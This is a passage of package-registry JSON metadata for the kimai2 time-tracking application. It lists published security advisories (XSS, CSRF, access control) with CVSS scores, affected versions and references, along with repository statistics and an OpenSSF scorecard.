only)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-12-10T20:34:01.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-4033","https://github.com/kevinpapst/kimai2/commit/1da26e041df62c10bd8075d78f2db7854d3eee07","https://huntr.dev/bounties/e05be1f7-d00c-4cfd-9390-ccd9d1c737b7","https://github.com/advisories/GHSA-4jwx-78vx-gm6g"],"source_kind":"github","identifiers":["GHSA-4jwx-78vx-gm6g","CVE-2021-4033"],"repository_url":"https://github.com/kevinpapst/kimai2","blast_radius":0.0,"created_at":"2022-12-21T16:12:40.812Z","updated_at":"2026-08-15T20:21:01.535Z","epss_percentage":0.00505,"epss_percentile":0.40543,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00and4LTc4dngtZ202Z80ajA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00and4LTc4dngtZ202Z80ajA","packages":[{"ecosystem":"packagist","package_name":"kevinpapst/kimai2","versions":[{"first_patched_version":"1.16.7","vulnerable_version_range":"\u003c 1.16.7"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00and4LTc4dngtZ202Z80ajA/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02N2M3LTV2OWotMjI3cs0Yyw","url":"https://github.com/advisories/GHSA-67c7-5v9j-227r","title":"Cross-site Scripting in kimai2","description":"kimai2 is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-12-03T20:43:06.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3983","https://github.com/kevinpapst/kimai2/commit/89bfa82c61da0d3639e4038e689e25467baac8a0","https://huntr.dev/bounties/c96f3480-dccf-4cc2-99a4-d2b3a7462413","https://github.com/kevinpapst/kimai2/releases/tag/1.16.3","https://github.com/advisories/GHSA-67c7-5v9j-227r"],"source_kind":"github","identifiers":["GHSA-67c7-5v9j-227r","CVE-2021-3983"],"repository_url":"https://github.com/kevinpapst/kimai2","blast_radius":0.0,"created_at":"2022-12-21T16:12:41.482Z","updated_at":"2026-09-01T13:14:51.041Z","epss_percentage":0.00764,"epss_percentile":0.52886,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02N2M3LTV2OWotMjI3cs0Yyw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02N2M3LTV2OWotMjI3cs0Yyw","packages":[{"ecosystem":"packagist","package_name":"kevinpapst/kimai2","versions":[{"first_patched_version":"1.16.3","vulnerable_version_range":"\u003c 1.16.3"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":19,"downloads":3030,"downloads_period":"total"},"affected_versions":["0.6.1","0.8.1","1.0.1","1.4.1","1.4.2","1.6.1","1.6.2","1.10.1","1.10.2","1.11.1","1.14.1","1.14.2","1.14.3","1.15.1","1.15.2","1.15.3","1.15.4","1.15.5","1.15.6","1.16.1","1.16.2"],"unaffected_versions":["1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.16.10","1.17.1","1.18.1","1.18.2","1.19.1","1.19.2","1.19.3","1.19.4","1.19.5","1.19.6","1.19.7","1.20.1","1.20.2","1.20.3","1.20.4","1.21.0","1.22.0","1.22.1","1.23.0","1.23.1","1.24.0","1.25.0","1.26.0","1.27.0","1.28.0","1.28.1","1.29.0","1.29.1","1.30.0","1.30.1","1.30.2","1.30.3","1.30.4","1.30.5","1.30.6","1.30.7","1.30.8","1.30.9","1.30.10","1.30.11","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.1.0","2.2.0","2.2.1","2.3.0","2.4.0","2.4.1","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0","2.10.0","2.11.0","2.12.0","2.13.0","2.14.0","2.15.0","2.16.0","2.16.1","2.17.0","2.18.0","2.19.0","2.19.1","2.20.0","2.20.1","2.21.0","2.22.0","2.23.0","2.24.0","2.25.0","2.26.0","2.27.0","2.28.0","2.29.0","2.30.0","2.31.0","2.32.0","2.33.0","2.34.0","2.35.0","2.35.1","2.36.0","2.36.1","2.37.0","2.38.0","2.39.0","2.40.0","2.41.0","2.42.0","2.43.0","2.44.0","2.45.0","2.46.0","2.47.0","2.48.0","2.49.0","2.50.0","2.51.0","2.52.0","2.53.0","2.54.0","2.55.0","2.56.0","2.57.0","2.58.0","2.59.0","2.60.0","2.61.0","2.62.0","2.63.0","2.64.0","2.65.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02N2M3LTV2OWotMjI3cs0Yyw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05dzhmLTd3Z3ItMmg3Z80Yzw","url":"https://github.com/advisories/GHSA-9w8f-7wgr-2h7g","title":"kimai2 is vulnerable to Improper Access Control","description":"kimai2 is vulnerable to Improper Access Control","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-12-03T20:42:59.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3992","https://github.com/kevinpapst/kimai2/commit/ff9acab0fc81f0e9490462739ef15fe4ab028ea5","https://huntr.dev/bounties/a0c438fb-c8e1-40cf-acc6-c8a532b80b93","https://github.com/advisories/GHSA-9w8f-7wgr-2h7g"],"source_kind":"github","identifiers":["GHSA-9w8f-7wgr-2h7g","CVE-2021-3992"],"repository_url":"https://github.com/kevinpapst/kimai2","blast_radius":0.0,"created_at":"2022-12-21T16:12:41.181Z","updated_at":"2026-08-15T20:21:03.776Z","epss_percentage":0.01031,"epss_percentile":0.60553,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05dzhmLTd3Z3ItMmg3Z80Yzw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05dzhmLTd3Z3ItMmg3Z80Yzw","packages":[{"ecosystem":"packagist","package_name":"kevinpapst/kimai2","versions":[{"first_patched_version":"1.16.3","vulnerable_version_range":"\u003c 1.16.3"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05dzhmLTd3Z3ItMmg3Z80Yzw/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14NjhjLTRnbW0tNWc0M80Y0w","url":"https://github.com/advisories/GHSA-x68c-4gmm-5g43","title":"kimai2 is vulnerable to Cross-site Scripting","description":"kimai2 is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-12-03T20:40:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.0,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3985","https://github.com/kevinpapst/kimai2/commit/76e09447c85e762882126b49626a4fe4d93fe8b5","https://huntr.dev/bounties/89d6c3de-efbd-4354-8cc8-46e999e4c5a4","https://github.com/kevinpapst/kimai2/releases/tag/1.16.3","https://github.com/advisories/GHSA-x68c-4gmm-5g43"],"source_kind":"github","identifiers":["GHSA-x68c-4gmm-5g43","CVE-2021-3985"],"repository_url":"https://github.com/kevinpapst/kimai2","blast_radius":0.0,"created_at":"2022-12-21T16:12:41.390Z","updated_at":"2026-08-15T20:21:03.785Z","epss_percentage":0.01216,"epss_percentile":0.65549,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NjhjLTRnbW0tNWc0M80Y0w","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14NjhjLTRnbW0tNWc0M80Y0w","packages":[{"ecosystem":"packagist","package_name":"kevinpapst/kimai2","versions":[{"first_patched_version":"1.16.3","vulnerable_version_range":"\u003c 1.16.3"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14NjhjLTRnbW0tNWc0M80Y0w/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS00MjdxLWpwOHYtd3c5Nc0Xlg","url":"https://github.com/advisories/GHSA-427q-jp8v-ww95","title":"Cross-site Scripting in kimai2","description":"CSRF related to duplicate action. (the duplication occurs first before redirecting to edit form). This vulnerability is capable of tricking admin users to duplicate teams.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-23T18:16:50.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3976","https://github.com/kevinpapst/kimai2/commit/b28e9c120c87222e21a238f1b03a609d6a5d506e","https://huntr.dev/bounties/0567048a-118c-42ec-9f94-b55533017406","https://github.com/advisories/GHSA-427q-jp8v-ww95"],"source_kind":"github","identifiers":["GHSA-427q-jp8v-ww95","CVE-2021-3976"],"repository_url":"https://github.com/kevinpapst/kimai2","blast_radius":0.0,"created_at":"2022-12-21T16:12:42.001Z","updated_at":"2026-09-01T13:14:51.054Z","epss_percentage":0.00386,"epss_percentile":0.31531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00MjdxLWpwOHYtd3c5Nc0Xlg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS00MjdxLWpwOHYtd3c5Nc0Xlg","packages":[{"ecosystem":"packagist","package_name":"kevinpapst/kimai2","versions":[{"first_patched_version":"1.16.2","vulnerable_version_range":"\u003c 1.16.2"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":19,"downloads":3030,"downloads_period":"total"},"affected_versions":["0.6.1","0.8.1","1.0.1","1.4.1","1.4.2","1.6.1","1.6.2","1.10.1","1.10.2","1.11.1","1.14.1","1.14.2","1.14.3","1.15.1","1.15.2","1.15.3","1.15.4","1.15.5","1.15.6","1.16.1"],"unaffected_versions":["1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.16.10","1.17.1","1.18.1","1.18.2","1.19.1","1.19.2","1.19.3","1.19.4","1.19.5","1.19.6","1.19.7","1.20.1","1.20.2","1.20.3","1.20.4","1.21.0","1.22.0","1.22.1","1.23.0","1.23.1","1.24.0","1.25.0","1.26.0","1.27.0","1.28.0","1.28.1","1.29.0","1.29.1","1.30.0","1.30.1","1.30.2","1.30.3","1.30.4","1.30.5","1.30.6","1.30.7","1.30.8","1.30.9","1.30.10","1.30.11","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.1.0","2.2.0","2.2.1","2.3.0","2.4.0","2.4.1","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0","2.10.0","2.11.0","2.12.0","2.13.0","2.14.0","2.15.0","2.16.0","2.16.1","2.17.0","2.18.0","2.19.0","2.19.1","2.20.0","2.20.1","2.21.0","2.22.0","2.23.0","2.24.0","2.25.0","2.26.0","2.27.0","2.28.0","2.29.0","2.30.0","2.31.0","2.32.0","2.33.0","2.34.0","2.35.0","2.35.1","2.36.0","2.36.1","2.37.0","2.38.0","2.39.0","2.40.0","2.41.0","2.42.0","2.43.0","2.44.0","2.45.0","2.46.0","2.47.0","2.48.0","2.49.0","2.50.0","2.51.0","2.52.0","2.53.0","2.54.0","2.55.0","2.56.0","2.57.0","2.58.0","2.59.0","2.60.0","2.61.0","2.62.0","2.63.0","2.64.0","2.65.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS00MjdxLWpwOHYtd3c5Nc0Xlg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1nZjJjLTkzaG0tcjlqNc0Xpg","url":"https://github.com/advisories/GHSA-gf2c-93hm-r9j5","title":"Cross-site Scripting in kimai2","description":"kimai2 is vulnerable to Cross-Site Request Forgery (CSRF) in deleting invoice templates. This vulnerability is capable of tricking admin user to delete invoice templates.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-23T18:16:43.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.3,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3963","https://github.com/kevinpapst/kimai2/commit/95796ab2560ad93f44068a88f0fad758c2053514","https://huntr.dev/bounties/3abf308b-7dbd-4864-b1a9-5c45b876def8","https://github.com/advisories/GHSA-gf2c-93hm-r9j5"],"source_kind":"github","identifiers":["GHSA-gf2c-93hm-r9j5","CVE-2021-3963"],"repository_url":"https://github.com/kevinpapst/kimai2","blast_radius":0.0,"created_at":"2022-12-21T16:12:42.012Z","updated_at":"2026-09-01T13:14:51.054Z","epss_percentage":0.00382,"epss_percentile":0.3095,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZjJjLTkzaG0tcjlqNc0Xpg","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nZjJjLTkzaG0tcjlqNc0Xpg","packages":[{"ecosystem":"packagist","package_name":"kevinpapst/kimai2","versions":[{"first_patched_version":"1.16","vulnerable_version_range":"\u003c 1.16"}],"purl":null,"statistics":{"dependent_packages_count":0,"dependent_repos_count":19,"downloads":3030,"downloads_period":"total"},"affected_versions":["0.6.1","0.8.1","1.0.1","1.4.1","1.4.2","1.6.1","1.6.2","1.10.1","1.10.2","1.11.1","1.14.1","1.14.2","1.14.3","1.15.1","1.15.2","1.15.3","1.15.4","1.15.5","1.15.6"],"unaffected_versions":["1.16.1","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.16.10","1.17.1","1.18.1","1.18.2","1.19.1","1.19.2","1.19.3","1.19.4","1.19.5","1.19.6","1.19.7","1.20.1","1.20.2","1.20.3","1.20.4","1.21.0","1.22.0","1.22.1","1.23.0","1.23.1","1.24.0","1.25.0","1.26.0","1.27.0","1.28.0","1.28.1","1.29.0","1.29.1","1.30.0","1.30.1","1.30.2","1.30.3","1.30.4","1.30.5","1.30.6","1.30.7","1.30.8","1.30.9","1.30.10","1.30.11","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.0.6","2.0.7","2.0.8","2.0.9","2.0.10","2.0.11","2.0.12","2.0.13","2.0.14","2.0.15","2.0.16","2.0.17","2.0.18","2.0.19","2.0.20","2.0.21","2.0.22","2.0.23","2.0.24","2.0.25","2.0.26","2.0.27","2.0.28","2.0.29","2.0.30","2.0.31","2.0.32","2.0.33","2.0.34","2.0.35","2.1.0","2.2.0","2.2.1","2.3.0","2.4.0","2.4.1","2.5.0","2.6.0","2.7.0","2.8.0","2.9.0","2.10.0","2.11.0","2.12.0","2.13.0","2.14.0","2.15.0","2.16.0","2.16.1","2.17.0","2.18.0","2.19.0","2.19.1","2.20.0","2.20.1","2.21.0","2.22.0","2.23.0","2.24.0","2.25.0","2.26.0","2.27.0","2.28.0","2.29.0","2.30.0","2.31.0","2.32.0","2.33.0","2.34.0","2.35.0","2.35.1","2.36.0","2.36.1","2.37.0","2.38.0","2.39.0","2.40.0","2.41.0","2.42.0","2.43.0","2.44.0","2.45.0","2.46.0","2.47.0","2.48.0","2.49.0","2.50.0","2.51.0","2.52.0","2.53.0","2.54.0","2.55.0","2.56.0","2.57.0","2.58.0","2.59.0","2.60.0","2.61.0","2.62.0","2.63.0","2.64.0","2.65.0"]}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nZjJjLTkzaG0tcjlqNc0Xpg/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yeHdxLWg3cjktNncyN80Xuw","url":"https://github.com/advisories/GHSA-2xwq-h7r9-6w27","title":"Cross-site Scripting in kimai2","description":"Cross site request forgery vulnerability is present in delete functionality of doctor feature. This vulnerability is capable of deleting system logs","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-11-23T17:59:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":4.6,"cvss_vector":"CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-3957","https://github.com/kevinpapst/kimai2/commit/6b49535b523dcd36ec59462ee4e67e2b3a9151f3","https://huntr.dev/bounties/5fa3098a-ba02-45e0-af56-645e34dbc691","https://github.com/advisories/GHSA-2xwq-h7r9-6w27"],"source_kind":"github","identifiers":["GHSA-2xwq-h7r9-6w27","CVE-2021-3957"],"repository_url":"https://github.com/kevinpapst/kimai2","blast_radius":0.0,"created_at":"2022-12-21T16:12:41.991Z","updated_at":"2026-08-15T20:21:04.874Z","epss_percentage":0.00371,"epss_percentile":0.29618,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yeHdxLWg3cjktNncyN80Xuw","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yeHdxLWg3cjktNncyN80Xuw","packages":[{"ecosystem":"packagist","package_name":"kevinpapst/kimai2","versions":[{"first_patched_version":"1.16","vulnerable_version_range":"\u003c 1.16"}],"purl":null}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yeHdxLWg3cjktNncyN80Xuw/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/packagist/kevinpapst/kimai2","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/packagist/kevinpapst/kimai2","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/packagist/kevinpapst/kimai2/dependencies","status":"abandoned","funding_links":["https://github.com/kevinpapst","https://opencollective.com/kimai","https://github.com/sponsors/kevinpapst"],"critical":null,"issue_metadata":{"last_synced_at":"2026-08-28T01:18:08.487Z","issues_count":815,"pull_requests_count":727,"avg_time_to_close_issue":11029758.918918919,"avg_time_to_close_pull_request":841206.0241935484,"issues_closed_count":518,"pull_requests_closed_count":620,"pull_request_authors_count":80,"issue_authors_count":454,"avg_comments_per_issue":2.343558282208589,"avg_comments_per_pull_request":1.5364511691884457,"merged_pull_requests_count":542,"bot_issues_count":0,"bot_pull_requests_count":1,"past_year_issues_count":61,"past_year_pull_requests_count":163,"past_year_avg_time_to_close_issue":1717847.894736842,"past_year_avg_time_to_close_pull_request":805142.9115044248,"past_year_issues_closed_count":38,"past_year_pull_requests_closed_count":113,"past_year_pull_request_authors_count":33,"past_year_issue_authors_count":50,"past_year_avg_comments_per_issue":2.360655737704918,"past_year_avg_comments_per_pull_request":1.7914110429447854,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":0,"past_year_merged_pull_requests_count":103,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/issues","maintainers":[{"login":"kevinpapst","count":423,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kevinpapst"},{"login":"tobybatch","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/tobybatch"}],"active_maintainers":[{"login":"kevinpapst","count":84,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/kevinpapst"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/kevinpapst%2Fkimai2/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/kevinpapst%2Fkimai2/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/kevinpapst%2Fkimai2/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/kevinpapst%2Fkimai2/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/kevinpapst%2Fkimai2/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages/kevinpapst%2Fkimai2/codemeta","maintainers":[{"uuid":"kevinpapst","login":"kevinpapst","name":null,"email":null,"url":null,"packages_count":13,"html_url":"https://packagist.org/users/kevinpapst","role":null,"created_at":"2022-11-17T12:25:02.960Z","updated_at":"2022-11-17T12:25:02.960Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers/kevinpapst/packages"}],"registry":{"name":"packagist.org","url":"https://packagist.org","ecosystem":"packagist","default":true,"packages_count":513060,"maintainers_count":143318,"namespaces_count":172195,"keywords_count":147286,"github":"packagist","metadata":{"funded_packages_count":30687},"icon_url":"https://github.com/packagist.png","created_at":"2022-04-04T15:19:23.222Z","updated_at":"2026-09-01T05:04:57.760Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/packagist.org/namespaces"}},{"id":14932275,"name":"github.com/kimai/kimai","ecosystem":"go","description":null,"homepage":null,"licenses":"agpl-3.0","normalized_licenses":[],"repository_url":"https://github.com/kimai/kimai","keywords_array":[],"namespace":null,"versions_count":1,"first_release_published_at":"2026-08-11T15:14:38.000Z","latest_release_published_at":"2026-08-11T15:14:38.000Z","latest_release_number":"v0.0.0-20260811151438-fd8989e9011a","last_synced_at":"2026-08-26T22:24:30.320Z","created_at":"2026-08-12T00:32:57.979Z","updated_at":"2026-08-28T01:18:08.543Z","registry_url":"https://pkg.go.dev/github.com/kimai/kimai","install_command":"go get github.com/kimai/kimai","documentation_url":"https://pkg.go.dev/github.com/kimai/kimai#section-documentation","metadata":{},"repo_metadata":{"id":37451210,"uuid":"71485542","full_name":"kimai/kimai","owner":"kimai","description":"Kimai is the #1 open-source time-tracking application. From freelancers to companies and organisations - everyone can manage timesheets, generate reports, create invoices and so much more... Web-based multi-user application, available as On-Premise or SaaS version: https://www.kimai.org","archived":false,"fork":false,"pushed_at":"2026-08-25T03:32:59.000Z","size":60074,"stargazers_count":4946,"open_issues_count":342,"forks_count":834,"subscribers_count":58,"default_branch":"main","last_synced_at":"2026-08-26T22:13:35.563Z","etag":null,"topics":["doctrine","invoice","invoicing","kimai","multilanguage","php","self-hosted","symfony","tabler","time-tracker","time-tracking","timetracker","timetracking","timetrackingapp","twig"],"latest_commit_sha":null,"homepage":"https://www.kimai.org","language":"PHP","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/kimai.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":"AGENTS.md","claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":["kevinpapst"],"open_collective":"kimai"}},"created_at":"2016-10-20T17:06:34.000Z","updated_at":"2026-08-26T18:27:35.000Z","dependencies_parsed_at":"2026-08-12T01:39:31.924Z","dependency_job_id":null,"html_url":"https://github.com/kimai/kimai","commit_stats":{"total_commits":1485,"total_committers":77,"mean_commits":"19.285714285714285","dds":0.2767676767676768,"last_synced_commit":"84a0ca5ce6673dc45660dbf0c0d8968b9a609b70"},"previous_names":["kevinpapst/kimai2"],"tags_count":211,"template":false,"template_full_name":null,"purl":"pkg:github/kimai/kimai","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/kimai","download_url":"https://codeload.github.com/kimai/kimai/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/kimai%2Fkimai/sbom","scorecard":{"id":557280,"data":{"date":"2025-08-11","repo":{"name":"github.com/kimai/kimai","commit":"023048e7c01217da969a516542a576ea277aaf53"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":5.8,"checks":[{"name":"Code-Review","score":3,"reason":"Found 10/30 approved changesets -- score normalized to 3","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":10,"reason":"27 commit(s) and 10 issue activity found in the last 90 days -- score normalized to 10","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":-1,"reason":"no workflows found","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Security-Policy","score":9,"reason":"security policy file detected","details":["Info: security policy file detected: SECURITY.md:1","Info: Found linked content: SECURITY.md:1","Warn: One or no descriptive hints of disclosure, vulnerability, and/or timelines in security policy","Info: Found text in security policy: SECURITY.md:1"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Token-Permissions","score":-1,"reason":"No tokens found","details":null,"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: GNU Affero General Public License v3.0: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: containerImage not pinned by hash: Dockerfile:37","Warn: containerImage not pinned by hash: Dockerfile:44","Warn: 